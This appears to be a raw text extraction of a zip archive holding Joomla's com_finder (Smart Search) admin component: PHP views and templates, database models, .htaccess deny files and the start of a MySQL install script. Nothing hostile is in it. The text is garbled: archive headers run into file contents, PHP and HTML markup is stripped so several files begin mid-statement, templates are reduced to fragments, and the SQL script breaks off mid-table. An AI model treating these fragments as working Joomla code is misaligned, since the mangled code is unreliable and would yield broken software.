JToolBarHelper::preferences('com_finder'); } JToolBarHelper::divider(); $toolbar->appendButton('Popup', 'stats', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 500); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS'); } } PKs>\V(com_finder/views/filters/tmpl/index.htmlnuW+A PKs>\N4yf)com_finder/views/filters/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'); ?>
      items) == 0): ?> items as $i => $item): $canCreate = $user->authorise('core.create', 'com_finder'); $canEdit = $user->authorise('core.edit', 'com_finder'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0; $canChange = $user->authorise('core.edit.state', 'com_finder') && $canCheckin; ?>
      total == 0): echo JText::_('COM_FINDER_NO_FILTERS'); ?>
      filter_id); ?> checked_out) { echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'filters.', $canCheckin); } ?> escape($item->title); ?> escape($item->title); } ?> state, $i, 'filters.', $canChange); ?> created_by_alias ? $item->created_by_alias : $item->user_name; ?> created, JText::_('DATE_FORMAT_LC4')); ?> map_count; ?> filter_id; ?>
      pagination->getListFooter(); ?>
      PKs>\)'com_finder/views/filters/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_finder/views/filters/index.htmlnuW+A PKs>\)"com_finder/views/filters/.htaccessnuW+A Order allow,deny Deny from all PKs>\5*= $com_finder/views/index/view.html.phpnuW+Aitems = $this->get('Items'); $this->total = $this->get('Total'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->pluginState = $this->get('pluginState'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = FinderHelper::getActions(); JToolBarHelper::title(JText::_('COM_FINDER_INDEX_TOOLBAR_TITLE'), 'finder'); $toolbar = JToolBar::getInstance('toolbar'); $toolbar->appendButton('Popup', 'archive', 'COM_FINDER_INDEX', 'index.php?option=com_finder&view=indexer&tmpl=component', 500, 210); JToolBarHelper::divider(); if ($canDo->get('core.edit.state')) { JToolBarHelper::publishList('index.publish'); JToolBarHelper::unpublishList('index.unpublish'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'index.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { JToolBarHelper::trash('index.purge', 'COM_FINDER_INDEX_TOOLBAR_PURGE', false); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_finder'); } JToolBarHelper::divider(); $toolbar->appendButton('Popup', 'stats', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 500); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT'); } } PKs>\zU}'com_finder/views/index/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $lang = JFactory::getLanguage(); JText::script('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT'); JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'); ?>
      pluginState['plg_content_finder']->enabled) : ?> items) == 0): ?> authorise('core.manage', 'com_finder'); ?> items as $i => $item): ?>
      total == 0) { echo JText::_('COM_FINDER_INDEX_NO_DATA') . ' ' . JText::_('COM_FINDER_INDEX_TIP'); } else { echo JText::_('COM_FINDER_INDEX_NO_CONTENT'); } ?>
      link_id); ?> publish_start_date) or intval($item->publish_end_date) or intval($item->start_date) or intval($item->end_date)) : ?> escape($item->title); ?> published, $i, 'index.', $canChange, 'cb'); ?> t_title); echo $lang->hasKey($key) ? JText::_($key) : $item->t_title; ?> url) > 80) { echo substr($item->url, 0, 70) . '...'; } else { echo $item->url; } ?> indexdate, JText::_('DATE_FORMAT_LC4')); ?>
      pagination->getListFooter(); ?>
      PKs>\)%com_finder/views/index/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_finder/views/index/tmpl/index.htmlnuW+A PKs>\) com_finder/views/index/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_finder/views/index/index.htmlnuW+A PKs>\)com_finder/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\V com_finder/views/maps/index.htmlnuW+A PKs>\V%com_finder/views/maps/tmpl/index.htmlnuW+A PKs>\)$com_finder/views/maps/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\U{l}}&com_finder/views/maps/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $lang = JFactory::getLanguage(); JText::script('COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT'); ?>
      items) == 0): ?> state->get('filter.branch') != 1) : ?> authorise('core.manage', 'com_finder'); ?> items as $i => $item): ?>
      id); ?> title); $title = $lang->hasKey($key) ? JText::_($key) : $item->title; ?> state->get('filter.branch') == 1 && $item->num_children) : ?> escape($title); ?> escape(($title == '*') ? JText::_('JALL_LANGUAGE') : $title); ?> num_children > 0) : ?> (num_children; ?>) num_nodes > 0) : ?> (num_nodes; ?>) escape(trim($title, '**')) == 'Language' && JLanguageMultilang::isEnabled()) : ?> state, $i, 'maps.', $canChange, 'cb'); ?>
      pagination->getListFooter(); ?>
      PKs>\ݴi #com_finder/views/maps/view.html.phpnuW+Aitems = $this->get('Items'); $this->total = $this->get('Total'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Prepare the view. $this->addToolbar(); JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { // For whatever reason, the helper isn't being found include_once JPATH_COMPONENT . '/helpers/finder.php'; $canDo = FinderHelper::getActions(); JToolBarHelper::title(JText::_('COM_FINDER_MAPS_TOOLBAR_TITLE'), 'finder'); $toolbar = JToolBar::getInstance('toolbar'); if ($canDo->get('core.edit.state')) { JToolBarHelper::publishList('maps.publish'); JToolBarHelper::unpublishList('maps.unpublish'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'maps.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_finder'); } JToolBarHelper::divider(); $toolbar->appendButton('Popup', 'stats', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 500); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS'); } } PKs>\)com_finder/views/maps/.htaccessnuW+A Order allow,deny Deny from all PKs>\9`O com_finder/models/statistics.phpnuW+AgetDbo(); $query = $db->getQuery(true); $data = new JObject; $query->select('COUNT(term_id)'); $query->from($db->quoteName('#__finder_terms')); $db->setQuery($query); $data->term_count = $db->loadResult(); $query->clear(); $query->select('COUNT(link_id)'); $query->from($db->quoteName('#__finder_links')); $db->setQuery($query); $data->link_count = $db->loadResult(); $query->clear(); $query->select('COUNT(id)'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $db->setQuery($query); $data->taxonomy_branch_count = $db->loadResult(); $query->clear(); $query->select('COUNT(id)'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' > 1'); $db->setQuery($query); $data->taxonomy_node_count = $db->loadResult(); $query->clear(); $query->select('t.title AS type_title, COUNT(a.link_id) AS link_count'); $query->from($db->quoteName('#__finder_links') . ' AS a'); $query->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = a.type_id'); $query->group('a.type_id, t.title'); $query->order($db->quoteName('type_title'), 'ASC'); $db->setQuery($query); $data->type_list = $db->loadObjectList(); return $data; } } PKs>\Sn "com_finder/models/forms/filter.xmlnuW+A
      PKs>\)!com_finder/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\6"com_finder/models/forms/index.htmlnuW+APKs>\JFaa)com_finder/models/fields/searchfilter.phpnuW+AgetQuery(true); $query->select('f.' . $db->quoteName('title') . ' AS text, f.' . $db->quoteName('filter_id') . ' AS value'); $query->from($db->quoteName('#__finder_filters') . ' AS f'); $query->where('f.' . $db->quoteName('state') . ' = 1'); $query->order('f.title ASC'); $db->setQuery($query); $options = $db->loadObjectList(); array_unshift($options, JHtml::_('select.option', '', JText::_('COM_FINDER_SELECT_SEARCH_FILTER'), 'value', 'text')); return $options; } } PKs>\6#com_finder/models/fields/index.htmlnuW+APKs>\1 (com_finder/models/fields/directories.phpnuW+AgetCfg('log_path'), JFactory::getApplication()->getCfg('tmp_path') ); // Get the base directories. $dirs = JFolder::folders(JPATH_SITE, '.', false, true); // Iterate through the base directories and find the subdirectories. foreach ($dirs as $dir) { // Check if the directory should be excluded. if (in_array($dir, $exclude)) { continue; } // Get the child directories. $return = JFolder::folders($dir, '.', true, true); // Merge the directories. if (is_array($return)) { $values[] = $dir; $values = array_merge($values, $return); } } // Convert the values to options. for ($i = 0, $c = count($values); $i < $c; $i++) { $options[] = JHtml::_('select.option', str_replace(JPATH_SITE . DS, '', $values[$i]), str_replace(JPATH_SITE . DS, '', $values[$i])); } // Add a null option. array_unshift($options, JHTML::_('select.option', '', '- ' . JText::_('JNONE') . ' -')); // Handle default values of value1|value2|value3 if (is_string($value) && strpos($value, '|') && preg_match('#(?\)"com_finder/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\3}F F com_finder/models/filter.phpnuW+AgetState('filter.id'); // Get a FinderTableFilter instance. $filter = $this->getTable(); // Attempt to load the row. $return = $filter->load($filter_id); // Check for a database error. if ($return === false && $filter->getError()) { $this->setError($filter->getError()); return false; } // Process the filter data. if (!empty($filter->data)) { $filter->data = explode(',', $filter->data); } elseif (empty($filter->data)) { $filter->data = array(); } // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } return $filter; } /** * Method to get the record form. * * @param array $data Data for the form. [optional] * @param boolean $loadData True if the form is to load its own data (default case), false if not. [optional] * * @return mixed A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_finder.filter', 'filter', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 2.5 */ public function getTable($type = 'Filter', $prefix = 'FinderTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 2.5 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_finder.edit.filter.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } } PKs>\)com_finder/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\dIj--com_finder/models/index.phpnuW+Aauthorise('core.delete', $this->option); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', $this->option); } /** * Method to delete one or more records. * * @param array &$pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 2.5 */ public function delete(&$pks) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $pks = (array) $pks; $table = $this->getTable(); // Include the content and finder plugins for the on delete events. JPluginHelper::importPlugin('content'); JPluginHelper::importPlugin('finder'); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($this->canDelete($table)) { $context = $this->option . '.' . $this->name; // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger($this->event_before_delete, array($context, $table)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterDelete event. $dispatcher->trigger($this->event_after_delete, array($context, $table)); } else { // Prune items that you can't change. unset($pks[$i]); $error = $this->getError(); if ($error) { $this->setError($error); } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); } } } else { $this->setError($table->getError()); return false; } } // Clear the component's cache $this->cleanCache(); return true; } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery A JDatabaseQuery object * * @since 2.5 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('l.*'); $query->select('t.title AS t_title'); $query->from($db->quoteName('#__finder_links') . ' AS l'); $query->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = l.type_id'); // Check the type filter. if ($this->getState('filter.type')) { $query->where($db->quoteName('l.type_id') . ' = ' . (int) $this->getState('filter.type')); } // Check for state filter. if (is_numeric($this->getState('filter.state'))) { $query->where($db->quoteName('l.published') . ' = ' . (int) $this->getState('filter.state')); } // Check the search phrase. if ($this->getState('filter.search') != '') { $search = $db->escape($this->getState('filter.search')); $query->where($db->quoteName('l.title') . ' LIKE "%' . $db->escape($search) . '%"' . ' OR ' . $db->quoteName('l.url') . ' LIKE "%' . $db->escape($search) . '%"' . ' OR ' . $db->quoteName('l.indexdate') . ' LIKE "%' . $db->escape($search) . '%"'); } // Handle the list ordering. $ordering = $this->getState('list.ordering'); $direction = $this->getState('list.direction'); if (!empty($ordering)) { $query->order($db->escape($ordering) . ' ' . $db->escape($direction)); } return $query; } /** * Method to get the state of the Smart Search plug-ins. * * @return array Array of relevant plug-ins and whether they are enabled or not. * * @since 2.5 */ public function getPluginState() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('name, enabled'); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('type') . ' = ' . $db->quote('plugin')); $query->where($db->quoteName('folder') . ' IN(' . $db->quote('system') . ',' . $db->quote('content') . ')'); $query->where($db->quoteName('element') . ' = ' . $db->quote('finder')); $db->setQuery($query); $db->query(); $plugins = $db->loadObjectList('name'); return $plugins; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.type'); return parent::getStoreId($id); } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 2.5 */ public function getTable($type = 'Link', $prefix = 'FinderTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to purge the index, deleting all links. * * @return boolean True on success, false on failure. * * @since 2.5 */ public function purge() { $db = $this->getDbo(); // Truncate the links table. $db->truncateTable('#__finder_links'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the links terms tables. for ($i = 0; $i <= 15; $i++) { // Get the mapping table suffix. $suffix = dechex($i); $db->truncateTable('#__finder_links_terms' . $suffix); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Truncate the terms table. $db->truncateTable('#__finder_terms'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the taxonomy map table. $db->truncateTable('#__finder_taxonomy_map'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Delete all the taxonomy nodes except the root. $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('id') . ' > 1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Load the filter state. $search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $type = $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string'); $this->setState('filter.type', $type); // Load the parameters. $params = JComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState('l.title', 'asc'); } /** * Method to change the published state of one or more records. * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish(&$pks, $value = 1) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Include the content plugins for the change of state event. JPluginHelper::importPlugin('content'); // Access checks. foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk)) { if (!$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } } // Attempt to change the state of the records. if (!$table->publish($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } $context = $this->option . '.' . $this->name; // Trigger the onContentChangeState event. $result = $dispatcher->trigger('onContentChangeState', array($context, $pks, $value)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Clear the component's cache $this->cleanCache(); return true; } } PKs>\6com_finder/models/index.htmlnuW+APKs>\_com_finder/models/indexer.phpnuW+A\K%%com_finder/models/maps.phpnuW+Aauthorise('core.delete', $this->option); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', $this->option); } /** * Method to delete one or more records. * * @param array &$pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 2.5 */ public function delete(&$pks) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $pks = (array) $pks; $table = $this->getTable(); // Include the content plugins for the on delete events. JPluginHelper::importPlugin('content'); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($this->canDelete($table)) { $context = $this->option . '.' . $this->name; // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array($context, $table)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array($context, $table)); } else { // Prune items that you can't change. unset($pks[$i]); $error = $this->getError(); if ($error) { $this->setError($error); } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); } } } else { $this->setError($table->getError()); return false; } } // Clear the component's cache $this->cleanCache(); return true; } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery A JDatabaseQuery object * * @since 2.5 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); // Select all fields from the table. $query->select('a.*'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS a'); // Self-join to get children. $query->select('COUNT(b.id) AS num_children'); $query->join('LEFT', $db->quoteName('#__finder_taxonomy') . ' AS b ON b.parent_id=a.id'); // Join to get the map links $query->select('COUNT(c.node_id) AS num_nodes'); $query->join('LEFT', $db->quoteName('#__finder_taxonomy_map') . ' AS c ON c.node_id=a.id'); $query->group('a.id, a.parent_id, a.title, a.state, a.access, a.ordering'); // If the model is set to check item state, add to the query. if (is_numeric($this->getState('filter.state'))) { $query->where($db->quoteName('a.state') . ' = ' . (int) $this->getState('filter.state')); } // Filter the maps over the branch if set. $branch_id = $this->getState('filter.branch'); if (!empty($branch_id)) { $query->where($db->quoteName('a.parent_id') . ' = ' . (int) $branch_id); } // Filter the maps over the search string if set. $search = $this->getState('filter.search'); if (!empty($search)) { $query->where($db->quoteName('a.title') . ' LIKE ' . $db->quote('%' . $search . '%')); } // Handle the list ordering. $ordering = $this->getState('list.ordering'); $direction = $this->getState('list.direction'); if (!empty($ordering)) { $query->order($db->escape($ordering) . ' ' . $db->escape($direction)); } return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.branch'); return parent::getStoreId($id); } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 2.5 */ public function getTable($type = 'Map', $prefix = 'FinderTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Load the filter state. $search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $branch = $this->getUserStateFromRequest($this->context . '.filter.branch', 'filter_branch', '1', 'string'); $this->setState('filter.branch', $branch); // Load the parameters. $params = JComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to change the published state of one or more records. * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish(&$pks, $value = 1) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Include the content plugins for the change of state event. JPluginHelper::importPlugin('content'); // Access checks. foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk)) { if (!$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } } // Attempt to change the state of the records. if (!$table->publish($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } $context = $this->option . '.' . $this->name; // Trigger the onContentChangeState event. $result = $dispatcher->trigger('onContentChangeState', array($context, $pks, $value)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Clear the component's cache $this->cleanCache(); return true; } /** * Method to purge all maps from the taxonomy. * * @return boolean Returns true on success, false on failure. * * @since 2.5 */ public function purge() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' > 1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy_map')); $query->where('1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } return true; } } PKs>\@com_finder/models/filters.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select all fields from the table. $query->select('a.*'); $query->from($db->quoteName('#__finder_filters') . ' AS a'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', $db->quoteName('#__users') . ' AS uc ON uc.id=a.checked_out'); // Join over the users for the author. $query->select('ua.name AS user_name'); $query->join('LEFT', $db->quoteName('#__users') . ' AS ua ON ua.id = a.created_by'); // Check for a search filter. if ($this->getState('filter.search')) { $query->where('( ' . $db->quoteName('a.title') . ' LIKE \'%' . $db->escape($this->getState('filter.search')) . '%\' )'); } // If the model is set to check item state, add to the query. if (is_numeric($this->getState('filter.state'))) { $query->where($db->quoteName('a.state') . ' = ' . (int) $this->getState('filter.state')); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering') . ' ' . $db->escape($this->getState('list.direction')))); return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Load the filter state. $search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // Load the parameters. $params = JComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } } PKs>\aY<< com_finder/sql/install.mysql.sqlnuW+A-- -- Table structure for table `#__finder_filters` -- CREATE TABLE IF NOT EXISTS `#__finder_filters` ( `filter_id` int(10) unsigned NOT NULL auto_increment, `title` varchar(255) NOT NULL, `alias` varchar(255) NOT NULL, `state` tinyint(1) NOT NULL default '1', `created` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL, `created_by_alias` varchar(255) NOT NULL, `modified` datetime NOT NULL default '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL default '0', `checked_out` int(10) unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `map_count` int(10) unsigned NOT NULL default '0', `data` text NOT NULL, `params` mediumtext, PRIMARY KEY (`filter_id`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links` -- CREATE TABLE IF NOT EXISTS `#__finder_links` ( `link_id` int(10) unsigned NOT NULL auto_increment, `url` varchar(255) NOT NULL, `route` varchar(255) NOT NULL, `title` varchar(255) default NULL, `description` varchar(255) default NULL, `indexdate` datetime NOT NULL default '0000-00-00 00:00:00', `md5sum` varchar(32) default NULL, `published` tinyint(1) NOT NULL default '1', `state` int(5) default '1', `access` int(5) default '0', `language` varchar(8) NOT NULL, `publish_start_date` datetime NOT NULL default '0000-00-00 00:00:00', `publish_end_date` datetime NOT NULL default '0000-00-00 00:00:00', `start_date` datetime NOT NULL default '0000-00-00 00:00:00', `end_date` datetime NOT NULL default '0000-00-00 00:00:00', `list_price` double unsigned NOT NULL default '0', `sale_price` double unsigned NOT NULL default '0', `type_id` int(11) NOT NULL, `object` mediumblob NOT NULL, PRIMARY KEY (`link_id`), KEY `idx_type` (`type_id`), KEY `idx_title` (`title`), KEY `idx_md5` (`md5sum`), KEY `idx_url` (`url`(75)), KEY `idx_published_list` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`list_price`), KEY `idx_published_sale` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`sale_price`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms0` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms0` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms1` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms1` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms2` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms2` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms3` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms3` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY 